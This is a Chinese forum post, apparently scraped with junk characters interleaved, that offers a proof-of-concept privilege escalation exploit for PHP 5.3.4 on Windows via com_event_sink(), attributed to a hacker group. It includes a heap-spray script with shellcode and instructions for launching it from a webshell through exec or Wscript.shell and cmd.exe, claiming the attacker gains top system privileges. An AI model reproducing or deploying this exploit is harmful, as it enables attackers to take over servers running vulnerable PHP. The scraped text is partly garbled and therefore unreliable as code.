|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中) V. c% x' l) S
* z _( }! N2 T2 l! Y# Q/ \测试方法如下:cmd /c x:\php\php.exe x:\test.php
! u8 D5 Z3 `# |5 F1 Q9 K) _+ ?( i5 [8 Q- U8 A
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
; Q6 q l f' v% d) K. }这里是两个测试的截图:
4 k8 h0 s) K+ k3 J& e5 b* n& S3 I1 b P, _( D
7 N$ m" y E8 K- g0 _4 R9 V+ y: g
% e- \6 G D# z) i: P0 \4 B3 q# W2 S. D
8 S# Q& N+ h' C! @
成功利用此漏洞的攻击者将获得系统的最高权限
4 k4 w* i" u, P* n( l
# h+ u: ?: F( ~# m! i
' `- O- U: Z2 |; ^, L
. B" N7 a/ N- U1 h4 S
- H( K' Q9 D d0 i# l5 V$ D/ D' @) ^$ v, b
关于漏洞分析稍后附上。一下是PoC代码:
- Z& `3 Z& S$ ]! y4 ^4 z3 O0 h8 v7 m0 J6 C( B
<?php9 P' T$ R% q l. u3 H! K
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞! D% X- a# F# |3 O6 ?$ b
//$eip ="\x44\x43\x42\x41";
% |# S- x( P* m$eip= "\x4b\xe8\x57\x78";
, U6 h5 f5 q0 q& P$eax ="\x80\x01\x8d\x04";
3 B( K: ` w* e0 Q" _2 m, m% c$deodrant="";+ l$ t8 l7 g+ S0 q: k
$axespray = str_repeat($eip.$eax,0x80);
6 a4 v( u# q6 j0 `7 C2 e//048d01901 r, Y& _6 ~9 s
echo strlen($axespray);9 U9 ]. e9 r# C; Y
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";- N' g2 p J) y; O/ |
echo "Silic Group Hacker Army - BlackBap.Org";
' h6 _+ p1 q' ?2 m" |5 P//19200 ==4B32 4b00
# Y) P5 l) {/ W) M; |. efor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
, W+ _3 T$ I9 P5 K9 ~+ h4 A$terminate = "T";
! |9 e. z! F; w6 w. ?+ s7 \$u[] =$deodrant;
c; v" C; D0 E% }$r[] =$deodrant.$terminate;
8 L# x# M! Y x/ t% Y$a[] =$deodrant.$terminate;
6 K3 H- p0 G( G; i3 S8 O1 \$s[] =$deodrant.$terminate;" h9 r- D# Y& D- W3 F
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的. e9 m" ?6 R5 u @
$vVar = new VARIANT(0x048d0000+180);
1 f+ S9 C9 L( V, z" C' ?/ x" D [; f//弹窗代码(Shellcode)
7 ~% p. u( @2 y$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
3 Q, d: w0 S# j" x& l) R- F2 i$var2 = new VARIANT(0x41414242);
# H7 m1 x$ {! c, R0 M% rcom_event_sink($vVar,$var2,$buffer);
+ H4 a5 E; K2 O/ h% i?>
) m9 P) k6 _# R |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|